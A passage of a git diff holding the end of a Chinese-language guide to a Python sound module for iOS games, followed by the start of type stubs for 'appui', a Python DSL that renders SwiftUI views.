`MetalLatch` `Creak_1` `Creak_2` `Cloth_1` `DropLeather` `Footstep_1`~`Footstep_3` `FootstepGrass_1` `FootstepGrass_2` `FootstepWood_1` `FootstepWood_2` | -| `music:` | 16 | `Victory_NES_1` `Victory_NES_2` `GameOver_NES_1` `LevelUp_NES_1` `Start_NES_1` `Bonus_NES_1` `Victory_Pizzi_1` `GameOver_Pizzi_1` `LevelUp_Pizzi_1` `Victory_Steel_1` `GameOver_Steel_1` `LevelUp_Steel_1` `Victory_Sax_1` `GameOver_Sax_1` `Victory_Hit_1` `GameOver_Hit_1` | - -**支持的音频格式**:`.caf` `.wav` `.mp3` `.aiff` `.m4a` - ---- - -## 游戏中使用 sound - -每个游戏都应添加音效以提升体验。推荐在以下场景使用: - -| 场景 | 建议 | -|------|------| -| 碰撞/反弹 | `sound.play_effect('game:Hit_1', volume=0.3)` | -| 得分 | `sound.play_effect('arcade:Coin_1')` | -| 玩家点击 | `sound.play_effect('ui:click1', volume=0.5)` | -| 升级/奖励 | `sound.play_effect('game:Powerup')` | -| 失败/错误 | `sound.play_effect('game:Error')` | -| 跳跃 | `sound.play_effect('arcade:Jump_1')` | -| 爆炸 | `sound.play_effect('arcade:Explosion_1')` | -| 挥动/呼啸 | `sound.play_effect('game:Swoosh_1')` | -| 胜利过关 | `sound.play_effect('music:Victory_NES_1')` | -| 游戏结束 | `sound.play_effect('music:GameOver_NES_1')` | -| 开门 | `sound.play_effect('rpg:DoorOpen_1')` | -| 脚步声 | `sound.play_effect('rpg:Footstep_1')` | -| 背景音乐 | `bgm = sound.Player('music.mp3'); bgm.number_of_loops = -1; bgm.play()` | - ---- - -## 完整示例 - -### 带音效的 scene 游戏 - -```python -from scene import * -import sound - -class MyGame(Scene): - def setup(self): - w, h = self.size.w, self.size.h - self.bg = SpriteNode(color='#1a1a2e', size=(w, h), - position=(w/2, h/2), parent=self) - self.ball = SpriteNode(color='#e94560', size=(40, 40), - position=(w/2, h/2), parent=self) - self.ball.z_position = 1 - self.vx, self.vy = 200, 250 - self.score = 0 - self.label = LabelNode('0', font=('Menlo-Bold', 36), - position=(w/2, h - 60), parent=self) - self.label.z_position = 2 - - def update(self): - dt = self.dt - w, h = self.size.w, self.size.h - r = 20 - bx = self.ball.position.x + self.vx * dt - by = self.ball.position.y + self.vy * dt - bounced = False - if bx - r < 0: - bx = r; self.vx = abs(self.vx); bounced = True - elif bx + r > w: - bx = w - r; self.vx = -abs(self.vx); bounced = True - if by - r < 0: - by = r; self.vy = abs(self.vy); bounced = True - elif by + r > h: - by = h - r; self.vy = -abs(self.vy); bounced = True - if bounced: - self.score += 1 - sound.play_effect('game:Beep', volume=0.3) - self.ball.position = (bx, by) - self.label.text = str(self.score) - - def touch_began(self, touch): - sound.play_effect('ui:click1', volume=0.5) - -run(MyGame(), _mode='main') -``` - -### 音乐播放器 - -```python -import sound -import console - -p = sound.Player('favorite_song.mp3') -p.volume = 0.8 - -console.hud_alert('开始播放 🎵') -p.play() - -import time -while p.playing: - pct = p.current_time / p.duration * 100 - print(f'\r进度: {pct:.0f}%', end='') - time.sleep(1) - -console.hud_alert('播放结束') -``` diff --git a/docs/stubs/appui.pyi b/docs/stubs/appui.pyi new file mode 100644 index 0000000..775f9a0 --- /dev/null +++ b/docs/stubs/appui.pyi @@ -0,0 +1,2133 @@ +"""appui — Python SwiftUI Bridge — Type Stubs for IDE autocompletion. + +A declarative Python DSL that renders native SwiftUI views on iOS. +Create reactive UIs with ``State``, layout with ``VStack``/``HStack``, +navigate with ``NavigationStack``/``TabView``, and present with ``sheet``/``alert``. + +Minimal example:: + + import appui + + state = appui.State(count=0) + + def increment(): + state.count += 1 + + def body(): + return appui.VStack([ + appui.Text(f"Count: {state.count}").font("title").bold(), + appui.Button("+1", action=increment), + ], spacing=16).padding() + + appui.run(body, state=state) +""" + +import ctypes +import sys +from typing import ( + Any, + Callable, + Dict, + Iterable, + Mapping, + Optional, + Sequence, + Tuple, + Union, + overload, +) + +if sys.version_info >= (3, 11): + from typing import Self +else: + from typing_extensions import Self + +# ── Type Aliases ── + +ColorLike = Union[str, Tuple[float, ...], int, float] +"""Color specification: named string (``'systemBlue'``), hex (``'#FF0000'``), +RGB tuple (``(1.0, 0.0, 0.0)``), RGBA tuple, or gray float (``0.5``).""" + +ViewChild = Union["View", Sequence["View"]] +"""A single View or a list of Views accepted as children.""" + +infinity: float +"""Positive infinity constant — use with ``max_width`` / ``max_height`` in ``.frame()``.""" + +# ═══════════════════════════════════════════════════════════ +# State Management +# ═══════════════════════════════════════════════════════════ + +class ObservableList(list): + """A ``list`` subclass that triggers UI rebuilds on mutation. + + Created automatically when you assign a ``list`` to a ``State`` field. + You normally do not instantiate this directly. + """ + def __init__(self, data: Iterable[Any], notify: Callable[[], None]) -> None: ... + def append(self, v: Any) -> None: ... + def insert(self, i: int, v: Any) -> None: ... + def extend(self, iterable: Iterable[Any]) -> None: ... + def remove(self, v: Any) -> None: ... + def pop(self, i: int = -1) -> Any: ... + def clear(self) -> None: ... + def __setitem__(self, key: Any, value: Any) -> None: ... + def __delitem__(self, key: Any) -> None: ... + def __iadd__(self, other: Iterable[Any]) -> Self: ... + def sort(self, **kwargs: Any) -> None: ... + def reverse(self) -> None: ... + + +class ObservableDict(dict): + """A ``dict`` subclass that triggers UI rebuilds on mutation. + + Created automatically when you assign a ``dict`` to a ``State`` field. + """ + def __init__(self, data: Mapping[Any, Any], notify: Callable[[], None]) -> None: ... + def __setitem__(self, key: Any, value: Any) -> None: ... + def __delitem__(self, key: Any) -> None: ... + def pop(self, key: Any, *args: Any) -> Any: ... + def update(self, *args: Any, **kwargs: Any) -> None: ... + def clear(self) -> None: ... + def setdefault(self, key: Any, default: Any = None) -> Any: ... + def items(self) -> Sequence[Tuple[Any, Any]]: ... + def keys(self) -> Sequence[Any]: ... + def values(self) -> Sequence[Any]: ... + def copy(self) -> Dict[Any, Any]: ... + + +class State: + """Reactive state container — attribute changes automatically trigger UI refresh. + + Supports deep observation for nested ``list`` and ``dict`` values. Inside + MiniApps, JSON-compatible fields are restored and saved automatically unless + marked as ``transient``. + + Example:: + + state = appui.State(count=0, name='', items=[]) + state.count += 1 # triggers rebuild + state.items.append('x') # triggers rebuild (deep observation) + state.batch_update(count=5, name='Bob') # single rebuild + """ + def __init__(self, persist: Optional[Union[bool, Sequence[str]]] = None, + persist_key: Optional[str] = None, + transient: Optional[Sequence[str]] = None, + debounce: float = 0.3, + **kwargs: Any) -> None: ... + def __getattr__(self, key: str) -> Any: ... + def __setattr__(self, key: str, value: Any) -> None: ... + def __getitem__(self, key: str) -> Any: ... + def __setitem__(self, key: str, value: Any) -> None: ... + def batch_update(self, **kwargs: Any) -> None: + """Update multiple values in one pass, triggering only one rebuild.""" + ... + def to_dict(self) -> Dict[str, Any]: + """Export all fields as a plain dictionary.""" + ... + def get(self, key: str, default: Any = None) -> Any: + """Safe access that never raises — useful after hot-reload.""" + ... + def flush_persisted(self) -> bool: + """Synchronously save pending persistent state.""" + ... + def clear_persisted(self) -> bool: + """Remove this state's saved snapshot.""" + ... + + +class PersistentState(State): + """Explicit persistent AppUI state.""" + def __init__(self, persist_key: Optional[str] = None, + transient: Optional[Sequence[str]] = None, + debounce: float = 0.3, + **kwargs: Any) -> None: ... + + +class ReactiveState: + """State with automatic binary/JSON channel routing per field. + + Fields declared as ``(initial_value, prop_id)`` tuples are routed + through the Aurora binary fast-path when a handle is bound. + Plain values use the normal JSON rebuild path. + + Example:: + + state = appui.ReactiveState( + count=0, # JSON path + slider_val=(0.5, 1), # binary path (prop_id=1) + ) + state.slider_val = 0.75 # binary push — no rebuild + state.count = 42 # JSON rebuild + """ + def __init__(self, **kwargs: Any) -> None: ... + def __getattr__(self, key: str) -> Any: ... + def __setattr__(self, key: str, value: Any) -> None: ... + def __getitem__(self, key: str) -> Any: ... + def __setitem__(self, key: str, value: Any) -> None: ... + def get(self, key: str, default: Any = None) -> Any: + """Safe access that never raises.""" + ... + def to_dict(self) -> Dict[str, Any]: + """Export all fields as a plain dictionary.""" + ... + def batch_update(self, **kwargs: Any) -> None: + """Update multiple values, triggering only one rebuild.""" + ... + def bind(self, field_name: str, *, + parse: Optional[Callable[[Any], Any]] = None, + format: Optional[Callable[[Any], Any]] = None, + validate: Optional[Callable[[Any], bool]] = None) -> Dict[str, Any]: + """Create a two-way binding dict (``value`` + ``on_change``).""" + ... + def bind_handles(self, **bindings: int) -> None: + """Bind Aurora handles to fields for binary fast-path.""" + ... + def _accept_callback(self, key: str, value: Any) -> None: ... + + +class Prop: + """Descriptor for reactive properties on View subclasses. + + When the Aurora binary channel is active, writes are pushed + without a full JSON rebuild. + + Example on a custom view class:: + + class MyView(appui.View): + title = appui.Prop(prop_id=1, default='Hello') + """ + prop_id: int + val_type: str + default: Any + def __init__(self, prop_id: int, val_type: str = 'auto', default: Any = None, attr: Optional[str] = None) -> None: ... + def __set_name__(self, owner: Any, name: str) -> None: ... + def __get__(self, obj: Any, objtype: Any = None) -> Any: ... + def __set__(self, obj: Any, value: Any) -> None: ... + + +class Ref: + """A mutable reference that does NOT trigger rebuilds. + + Useful for storing counters, handles, or any data that + should not cause the UI to refresh when changed. + + Example:: + + counter = appui.Ref(0) + counter.current += 1 # no UI refresh + """ + current: Any + def __init__(self, initial: Any = None) -> None: ... + + +def computed(state: Union[State, ReactiveState], depends_on: Sequence[str]) -> Callable: + """Decorator: cached derived value, recomputed only when deps change. + + Example:: + + @appui.computed(state, depends_on=['items', 'filter_text']) + def filtered(): + return [i for i in state.items if state.filter_text in str(i)] + + # In body(): filtered() -> returns cached list + """ + ... + +def effect(state: Union[State, ReactiveState], depends_on: Sequence[str]) -> Callable: + """Decorator: run a side-effect when deps change (after each rebuild). + + The decorated function may return a cleanup callable:: + + @appui.effect(state, depends_on=['tab']) + def on_tab_change(): + print(f'Switched to tab {state.tab}') + def cleanup(): + print('cleanup') + return cleanup + """ + ... + +def bind(state: Union[State, ReactiveState], field_name: str, *, + parse: Optional[Callable[[Any], Any]] = None, + format: Optional[Callable[[Any], Any]] = None, + validate: Optional[Callable[[Any], bool]] = None) -> Dict[str, Any]: + """Create a two-way binding dict for interactive components. + + Returns ``{'value': ..., 'on_change': ...}`` suitable for unpacking:: + + appui.Slider(**appui.bind(state, 'volume')) + + Optional, backward-compatible hooks: + - ``parse``: ``incoming -> stored`` transform before write-back (rejects + the write if it raises). + - ``format``: ``stored -> display`` transform when reading. + - ``validate``: ``incoming -> bool`` guard; falsy rejects the write. + """ + ... + +def dynamic(func: Callable[[], Any], value_type: str = 'auto') -> Any: + """Create a dependency-tracked dynamic AppUI slot value. + + Use for values that should be eligible for Aurora/C slot updates without + rebuilding the full tree, for example ``Text(lambda: state.status)`` or + ``.opacity(appui.dynamic(lambda: state.opacity, 'double'))``. + """ + ... + + +# ═══════════════════════════════════════════════════════════ +# Navigation +# ═══════════════════════════════════════════════════════════ + +class NavigationPath: + """Programmatic navigation stack — push/pop views by code. + + Example:: + + path = appui.NavigationPath() + path.append(detail_view()) + path.pop() + path.pop_to_root() + """ + @property + def count(self) -> int: ... + @property + def is_empty(self) -> bool: ... + def __init__(self) -> None: ... + def append(self, view_or_value: Union["View", str, int, Dict[str, Any]]) -> None: + """Push a view or tagged value onto the navigation stack.""" + ... + def pop(self, count: int = 1) -> None: + """Pop *count* items from the navigation stack.""" + ... + def pop_to_root(self) -> None: + """Pop all items, returning to the root view.""" + ... + def replace(self, items: Sequence[Any]) -> None: + """Replace the entire navigation stack.""" + ... + + +# ═══════════════════════════════════════════════════════════ +# Timer +# ═══════════════════════════════════════════════════════════ + +class Timer: + """Background timer that calls an action at regular intervals. + + Example:: + + timer = appui.Timer(interval=1.0, action=tick) + timer.start() + # later... + timer.stop() + """ + @property + def is_running(self) -> bool: ... + def __init__(self, interval: float = 1.0, repeats: bool = True, + action: Optional[Callable[[], None]] = None) -> None: ... + def start(self) -> None: ... + def stop(self) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# View Base — all modifiers +# ═══════════════════════════════════════════════════════════ + +class View: + """Base class for all appui views. + + Container views support context-manager syntax:: + + with appui.VStack(spacing=12) as stack: + appui.Text("Hello") + appui.Button("Tap", action=tap) + # stack now contains both children + """ + + def __init__(self) -> None: ... + + # ── Identity ── + + def id(self, key: str) -> Self: + """Assign a stable identity key for diffing and scroll targets.""" + ... + + # ── Layout ── + + def padding(self, value: Optional[float] = None, edges: Optional[str] = None, *, + horizontal: Optional[float] = None, vertical: Optional[float] = None, + top: Optional[float] = None, bottom: Optional[float] = None, + leading: Optional[float] = None, trailing: Optional[float] = None, + **kwargs: Any) -> Self: + """Add padding around the view. + + Args: + value: Uniform padding on all edges. + edges: Edge set — ``'all'``, ``'horizontal'``, ``'vertical'``, + ``'top'``, ``'bottom'``, ``'leading'``, ``'trailing'``. + horizontal/vertical/top/bottom/leading/trailing: Per-edge overrides. + """ + ... + + def frame(self, width: Optional[float] = None, height: Optional[float] = None, + min_width: Optional[float] = None, max_width: Optional[Union[float, str]] = None, + min_height: Optional[float] = None, max_height: Optional[Union[float, str]] = None, + alignment: Optional[str] = None, **kwargs: Any) -> Self: + """Constrain the view's size. Use ``appui.infinity`` for unbounded max. + + Args: + alignment: ``'center'``, ``'leading'``, ``'trailing'``, ``'top'``, + ``'bottom'``, ``'topLeading'``, ``'bottomTrailing'``, etc. + """ + ... + + def aspect_ratio(self, ratio: Optional[float] = None, content_mode: str = 'fit', + **kwargs: Any) -> Self: + """Set aspect ratio. ``content_mode``: ``'fit'`` or ``'fill'``. Works on any view.""" + ... + + def offset(self, x: float = 0, y: float = 0) -> Self: + """Shift the view by (x, y) points without affecting layout.""" + ... + + def position(self, x: float = 0, y: float = 0) -> Self: + """Position the view's center at (x, y) within its parent.""" + ... + + def ignore_safe_area(self, edges: str = 'all', regions: str = 'all') -> Self: + """Extend the view into safe-area insets.""" + ... + + def fixed_size(self, horizontal: bool = True, vertical: bool = True) -> Self: + """Prevent the view from being compressed below its ideal size.""" + ... + + def layout_priority(self, value: float) -> Self: + """Set layout priority relative to siblings. Higher = more space.""" + ... + + def alignment_guide(self, alignment: str = 'center', compute_value: Optional[float] = None) -> Self: + """Provide a custom alignment guide offset. + + Args: + alignment: ``'leading'``, ``'trailing'``, ``'center'``, ``'top'``, + ``'bottom'``, ``'first_text_baseline'``, ``'last_text_baseline'``. + """ + ... + + def container_relative_frame(self, axis: str = 'vertical', count: int = 1, + span: int = 1, spacing: float = 8) -> Self: + """Size relative to nearest scroll container (iOS 17+).""" + ... + + def safe_area_inset(self, edge: str = 'bottom', content: Optional["View"] = None, + spacing: Optional[float] = None) -> Self: + """Pin content to a safe-area edge.""" + ... + + # ── Appearance ── + + def font(self, name: Optional[str] = None, size: Optional[float] = None, + weight: Optional[str] = None, design: Optional[str] = None) -> Self: + """Set the font. + + Args: + name: System style (``'title'``, ``'headline'``, ``'body'``, ``'caption'``, + ``'largeTitle'``, ``'footnote'``…) or custom PostScript name via + ``appui.custom_font()``. + weight: ``'regular'``, ``'bold'``, ``'semibold'``, ``'light'``, + ``'medium'``, ``'heavy'``, ``'black'``, ``'thin'``, ``'ultraLight'``. + design: ``'default'``, ``'rounded'``, ``'serif'``, ``'monospaced'``. + """ + ... + + def bold(self) -> Self: + """Apply bold weight.""" + ... + + def italic(self) -> Self: + """Apply italic style.""" + ... + + def foreground_color(self, color: ColorLike) -> Self: + """Set the text/icon color.""" + ... + + def foreground_style(self, style: Any) -> Self: + """Set the foreground style (color, gradient, or material name).""" + ... + + def background(self, color: Optional[ColorLike] = None, corner_radius: float = 0, + gradient: Optional[Sequence[ColorLike]] = None, + gradient_type: str = 'linear', + material: Optional[str] = None, + cornerRadius: Optional[float] = None, + gradientType: Optional[str] = None, + opacity: Optional[float] = None, + **kwargs: Any) -> Self: + """Set background color, gradient, or material. + + Args: + color: Solid background color. + corner_radius: Rounded corners for the background. + gradient: List of colors for a gradient background. + gradient_type: ``'linear'``, ``'radial'``, ``'angular'``. + material: iOS material name — ``'ultraThinMaterial'``, + ``'thinMaterial'``, ``'regularMaterial'``, + ``'thickMaterial'``, ``'ultraThickMaterial'``. + opacity: Background opacity override. + """ + ... + + def opacity(self, value: float) -> Self: + """Set the view's opacity (0.0–1.0).""" + ... + + def corner_radius(self, value: float) -> Self: + """Round all corners.""" + ... + + def clip_shape(self, shape: str) -> Self: + """Clip to a shape — ``'circle'``, ``'capsule'``, ``'rect'``, ``'rounded_rect'``.""" + ... + + def clipped(self) -> Self: + """Clip content to the view's bounds.""" + ... + + def shadow(self, color: Optional[ColorLike] = None, radius: float = 5, + x: float = 0, y: float = 2) -> Self: + """Add a drop shadow.""" + ... + + def border(self, color: ColorLike, width: float = 1) -> Self: + """Add a border stroke.""" + ... + + def overlay(self, content: "View") -> Self: + """Layer a view on top.""" + ... + + def tint(self, color: ColorLike) -> Self: + """Set the accent/tint color.""" + ... + + def mask(self, content: "View") -> Self: + """Mask the view with another view's alpha channel.""" + ... + + def drawing_group(self) -> Self: + """Composite the view into a single GPU-backed layer.""" + ... + def glass_effect(self, tint: Optional[ColorLike] = None, interactive: bool = False, + shape: str = 'capsule', corner_radius: Optional[float] = None, + cornerRadius: Optional[float] = None) -> Self: + """Apply the iOS 26 Liquid Glass effect. Shape: ``'capsule'``, ``'rounded_rectangle'``, ``'circle'``.""" + ... + def background_extension_effect(self, enabled: bool = True, + is_enabled: Optional[bool] = None, + isEnabled: Optional[bool] = None) -> Self: + """Extend background material into surrounding bars/safe areas on iOS 26+.""" + ... + + # ── Navigation ── + + def navigation_title(self, title: Union[str, "View"]) -> Self: + """Set the navigation bar title.""" + ... + + def navigation_bar_title_display_mode(self, mode: str) -> Self: + """Title mode: ``'automatic'``, ``'inline'``, ``'large'``.""" + ... + + def navigation_bar_back_button_hidden(self, value: bool = True) -> Self: + """Hide the back button in a NavigationStack.""" + ... + + def toolbar(self, items: Any) -> Self: + """Add toolbar items (list of ``ToolbarItem``).""" + ... + + def toolbar_background(self, visibility: str = 'visible', bars: str = 'navigation_bar') -> Self: + """Control toolbar background (iOS 16+). Bars: ``'navigation_bar'``, ``'bottom_bar'``, ``'tab_bar'``.""" + ... + + def toolbar_color_scheme(self, scheme: str = 'dark', bars: str = 'navigation_bar') -> Self: + """Set toolbar color scheme (iOS 16+).""" + ... + + def navigation_destination(self, is_presented: bool = False, content: Optional["View"] = None, + on_dismiss: Optional[Callable] = None, + isPresented: Optional[bool] = None, + onDismiss: Optional[Callable] = None) -> Self: + """Programmatic navigation destination.""" + ... + def safe_area_bar(self, edge: str = 'bottom', content: Optional["View"] = None, + alignment: str = 'center', spacing: Optional[float] = None, + safeAreaEdge: Optional[str] = None) -> Self: + """Attach iOS 26 safe-area bar content to ``'top'``, ``'bottom'``, ``'leading'``, or ``'trailing'``.""" + ... + def tab_view_bottom_accessory(self, content: Optional["View"] = None, + enabled: bool = True, + is_enabled: Optional[bool] = None, + isEnabled: Optional[bool] = None) -> Self: + """Attach iOS 26 TabView bottom accessory content.""" + ... + def tab_bar_minimize_behavior(self, behavior: str = 'automatic') -> Self: + """Set iOS 26 tab bar minimize behavior: ``'automatic'``, ``'never'``, ``'on_scroll_down'``, ``'on_scroll_up'``.""" + ... + def tab_view_search_activation(self, activation: str = 'search_tab_selection') -> Self: + """Configure iOS 26 search-tab activation: ``'automatic'`` or ``'search_tab_selection'``.""" + ... + + # ── Styles ── + + def button_style(self, style: str) -> Self: + """Button style: ``'automatic'``, ``'bordered'``, ``'bordered_prominent'``, ``'borderless'``, ``'plain'``.""" + ... + def list_style(self, style: str) -> Self: + """List style: ``'automatic'``, ``'inset'``, ``'inset_grouped'``, ``'grouped'``, ``'plain'``, ``'sidebar'``.""" + ... + def text_field_style(self, style: str) -> Self: + """TextField style: ``'automatic'``, ``'plain'``, ``'rounded_border'``.""" + ... + def toggle_style(self, style: str) -> Self: + """Toggle style: ``'automatic'``, ``'switch'``, ``'button'``.""" + ... + def tab_view_style(self, style: str) -> Self: + """TabView style: ``'automatic'``, ``'page'``.""" + ... + def picker_style(self, style: str) -> Self: + """Picker style: ``'automatic'``, ``'wheel'``, ``'segmented'``, ``'menu'``, ``'inline'``.""" + ... + def gauge_style(self, style: str) -> Self: + """Gauge style: ``'automatic'``, ``'linear'``, ``'circular'``, + ``'accessory_circular'``, ``'accessory_linear'``, + ``'linear_capacity'``, ``'accessory_circular_capacity'``, + ``'accessory_linear_capacity'``.""" + ... + def progress_view_style(self, style: str) -> Self: + """ProgressView style: ``'automatic'``, ``'linear'``, ``'circular'``.""" + ... + def date_picker_style(self, style: str) -> Self: + """DatePicker style: ``'automatic'``, ``'compact'``, ``'wheel'``, ``'graphical'``.""" + ... + + # ── Interaction ── + + def on_tap(self, action: Callable) -> Self: + """Called when the view is tapped.""" + ... + def on_appear(self, action: Callable) -> Self: + """Called when the view appears on screen.""" + ... + def on_disappear(self, action: Callable) -> Self: + """Called when the view disappears.""" + ... + def on_long_press(self, action: Optional[Callable] = None, min_duration: float = 0.5, + minDuration: Optional[float] = None, + on_pressing: Optional[Callable] = None, + onPressing: Optional[Callable] = None) -> Self: + """Called on long press. ``on_pressing`` fires while pressed (bool arg).""" + ... + def on_drag(self, on_changed: Optional[Callable] = None, + on_ended: Optional[Callable] = None, + onChanged: Optional[Callable] = None, + onEnded: Optional[Callable] = None) -> Self: + """Pan/drag gesture callbacks.""" + ... + def on_magnification(self, on_changed: Optional[Callable] = None, + on_ended: Optional[Callable] = None, + onChanged: Optional[Callable] = None, + onEnded: Optional[Callable] = None) -> Self: + """Pinch-to-zoom gesture callbacks.""" + ... + def on_rotation(self, on_changed: Optional[Callable] = None, + on_ended: Optional[Callable] = None, + onChanged: Optional[Callable] = None, + onEnded: Optional[Callable] = None) -> Self: + """Two-finger rotation gesture callbacks.""" + ... + def on_drop(self, action: Callable) -> Self: + """Called when content is dropped onto this view.""" + ... + def on_geometry(self, action: Callable) -> Self: + """Called with geometry info ``{'width': float, 'height': float}``.""" + ... + def task(self, action: Callable) -> Self: + """Run an async-like task when the view appears.""" + ... + def disabled(self, value: bool = True) -> Self: + """Disable user interaction.""" + ... + def hidden(self) -> Self: + """Hide the view while preserving its layout space.""" + ... + def simultaneous_gesture(self, gesture: str = 'tap', callback: Optional[Callable] = None, + on_changed: Optional[Callable] = None, + min_duration: float = 0.5) -> Self: + """Attach a gesture alongside the view's own. Gesture: ``'tap'``, ``'long_press'``, ``'magnification'``.""" + ... + def high_priority_gesture(self, gesture: str = 'tap', callback: Optional[Callable] = None, + min_duration: float = 0.5) -> Self: + """Attach a gesture that overrides child gestures.""" + ... + + # ── Presentation ── + + def alert(self, title: str, message: str = '', is_presented: bool = False, + on_dismiss: Optional[Callable] = None, actions: Optional[Sequence["View"]] = None, + isPresented: Optional[bool] = None, + onDismiss: Optional[Callable] = None) -> Self: + """Present an alert dialog.""" + ... + def sheet(self, is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, + on_dismiss: Optional[Callable] = None, + detents: Optional[str] = None, + drag_indicator: Optional[str] = None, + interactive_dismiss_disabled: bool = False, + isPresented: Optional[bool] = None, + onDismiss: Optional[Callable] = None, + dragIndicator: Optional[str] = None, + interactiveDismissDisabled: Optional[bool] = None) -> Self: + """Present a modal sheet. + + Always attach this modifier on the rendered root and toggle ``is_presented`` only. + Do not conditionally wrap ``root.sheet(...)`` in ``if state.show_x``. + Pass ``content=sheet_view`` as a callable, not ``content=sheet_view()``. + + Args: + detents: Sheet heights — ``'medium'``, ``'large'``, ``'medium_large'``. + drag_indicator: ``'visible'`` or ``'hidden'``. + interactive_dismiss_disabled: Prevent swipe-to-dismiss. + """ + ... + def full_screen_cover(self, is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, + on_dismiss: Optional[Callable] = None, + isPresented: Optional[bool] = None, + onDismiss: Optional[Callable] = None) -> Self: + """Present a full-screen modal.""" + ... + def confirmation_dialog(self, title: str, is_presented: bool = False, + actions: Optional[Sequence["View"]] = None, message: str = '', + on_dismiss: Optional[Callable] = None, + isPresented: Optional[bool] = None, + onDismiss: Optional[Callable] = None) -> Self: + """Present a confirmation dialog with action buttons.""" + ... + def context_menu(self, content: Optional[Sequence["View"]] = None) -> Self: + """Attach a context menu (long-press/right-click).""" + ... + def searchable(self, text: str = '', on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None, + placement: str = 'automatic', + prompt: Optional[str] = None, + on_submit: Optional[Callable] = None, + onSubmit: Optional[Callable] = None) -> Self: + """Add a search bar.""" + ... + def search_toolbar_behavior(self, behavior: str = 'minimize') -> Self: + """Configure iOS 26 search toolbar behavior: ``'automatic'`` or ``'minimize'``.""" + ... + def swipe_actions(self, edge: str = 'trailing', content: Optional[Sequence["View"]] = None, + actions: Optional[Sequence["View"]] = None) -> Self: + """Attach swipe actions to a list row. Edge: ``'leading'`` or ``'trailing'``.""" + ... + def refreshable(self, action: Optional[Callable] = None) -> Self: + """Enable pull-to-refresh.""" + ... + def badge(self, count: Any) -> Self: + """Show a numeric or text badge.""" + ... + def popover(self, is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, + on_dismiss: Optional[Callable] = None, + isPresented: Optional[bool] = None, + onDismiss: Optional[Callable] = None) -> Self: + """Present a popover (iPad) or sheet (iPhone).""" + ... + def inspector(self, is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, + on_dismiss: Optional[Callable] = None) -> Self: + """Show an inspector sidebar (iOS 17+, iPad).""" + ... + + # ── Animation & Transform ── + + def animation(self, type: str = 'default', value: Optional[Any] = None) -> Self: + """Apply implicit animation. Types: ``'default'``, ``'linear'``, ``'easeIn'``, + ``'easeOut'``, ``'easeInOut'``, ``'spring'``, ``'interpolatingSpring'``.""" + ... + def transition(self, type: str = 'opacity') -> Self: + """Apply insertion/removal transition. Types: ``'opacity'``, ``'slide'``, ``'scale'``, + ``'move'``, ``'push'``, ``'identity'``.""" + ... + def scale_effect(self, scale: float) -> Self: + """Scale the view uniformly.""" + ... + def rotation_effect(self, degrees: float) -> Self: + """Rotate the view in 2D.""" + ... + def rotation_3d_effect(self, degrees: float, x: float = 0, y: float = 0, z: float = 0) -> Self: + """Rotate the view in 3D around the given axis.""" + ... + def matched_geometry_effect(self, ns_id: Optional[str] = None, namespace: Optional[str] = None, + is_source: bool = True, + nsId: Optional[str] = None, + isSource: Optional[bool] = None) -> Self: + """Shared geometry animation between views with the same ``ns_id``.""" + ... + def glass_effect_id(self, id: Any) -> Self: + """Assign an iOS 26 Liquid Glass matched-effect identity.""" + ... + def glass_effect_transition(self, transition: str = 'matched_geometry') -> Self: + """Set iOS 26 Liquid Glass transition: ``'matched_geometry'``, ``'materialize'``, or ``'identity'``.""" + ... + def glass_effect_union(self, id: Any) -> Self: + """Group iOS 26 Liquid Glass effects into the same union namespace.""" + ... + def content_transition(self, type: str = 'opacity') -> Self: + """Animate content changes. Types: ``'opacity'``, ``'interpolate'``, ``'numeric_text'``, ``'identity'``.""" + ... + def phase_animator(self, phases: Optional[Sequence[float]] = None, + effect: str = 'scale_opacity', scale_range: float = 0.1, + opacity_range: float = 0.2, duration: float = 0.6, + animation: str = 'easeInOut') -> Self: + """Looping phase animation (iOS 17+). Default phases: ``[0, 0.5, 1, 0.5, 0]``. + + Args: + effect: ``'scale_opacity'``, ``'scale'``, ``'opacity'``, ``'rotation'``, ``'offset_y'``. + scale_range: Scale delta per unit phase (default 0.1). + opacity_range: Opacity delta per unit phase (default 0.2). + duration: Seconds per phase transition (default 0.6). + animation: ``'easeInOut'``, ``'linear'``, ``'easeIn'``, ``'easeOut'``, ``'spring'``. + """ + ... + + # ── Visual Effects ── + + def blur(self, radius: float) -> Self: + """Gaussian blur.""" + ... + def brightness(self, amount: float) -> Self: + """Adjust brightness (-1.0 to 1.0).""" + ... + def contrast(self, amount: float) -> Self: + """Adjust contrast (0.0 = gray, 1.0 = original).""" + ... + def saturation(self, amount: float) -> Self: + """Adjust saturation (0.0 = desaturated, 1.0 = original).""" + ... + def grayscale(self, amount: float) -> Self: + """Apply grayscale (0.0 = full color, 1.0 = full gray).""" + ... + + # ── Focus & Keyboard ── + + def focused(self, field_id: Union[bool, str, None] = None, equals: Optional[str] = None, + fieldId: Union[bool, str, None] = None, + key: Optional[str] = None) -> Self: + """Control keyboard focus (iOS 15+). + + Bool usage: ``TextField(...).focused(state.is_focused)`` + Key usage: ``TextField(...).focused(key='name', equals=state.active_field)`` + """ + ... + def submit_label(self, label: str) -> Self: + """Return key label: ``'done'``, ``'go'``, ``'send'``, ``'search'``, ``'next'``, ``'continue'``, ``'return'``.""" + ... + def on_submit(self, action: Callable) -> Self: + """Called when user presses the return key.""" + ... + def keyboard_dismiss(self, mode: str = 'interactive') -> Self: + """Keyboard dismissal on scroll: ``'interactive'`` or ``'immediately'``.""" + ... + + # ── List Row ── + + def list_row_background(self, color: ColorLike) -> Self: + """Background color for a List row.""" + ... + def list_row_separator(self, visibility: str = 'hidden') -> Self: + """Row separator: ``'visible'``, ``'hidden'``, ``'automatic'``.""" + ... + def list_row_insets(self, top: float = 0, leading: float = 0, + bottom: float = 0, trailing: float = 0) -> Self: + """Custom insets for a List row.""" + ... + + # ── Text Styling ── + + def line_limit(self, limit: Optional[int]) -> Self: + """Maximum number of lines (``None`` = unlimited).""" + ... + def multiline_text_alignment(self, alignment: str) -> Self: + """Multiline text alignment: ``'leading'``, ``'center'``, ``'trailing'``.""" + ... + def truncation_mode(self, mode: str) -> Self: + """Truncation: ``'head'``, ``'middle'``, ``'tail'``.""" + ... + def minimum_scale_factor(self, factor: float) -> Self: + """Minimum text scale factor before truncation (0.0–1.0).""" + ... + def strikethrough(self, active: bool = 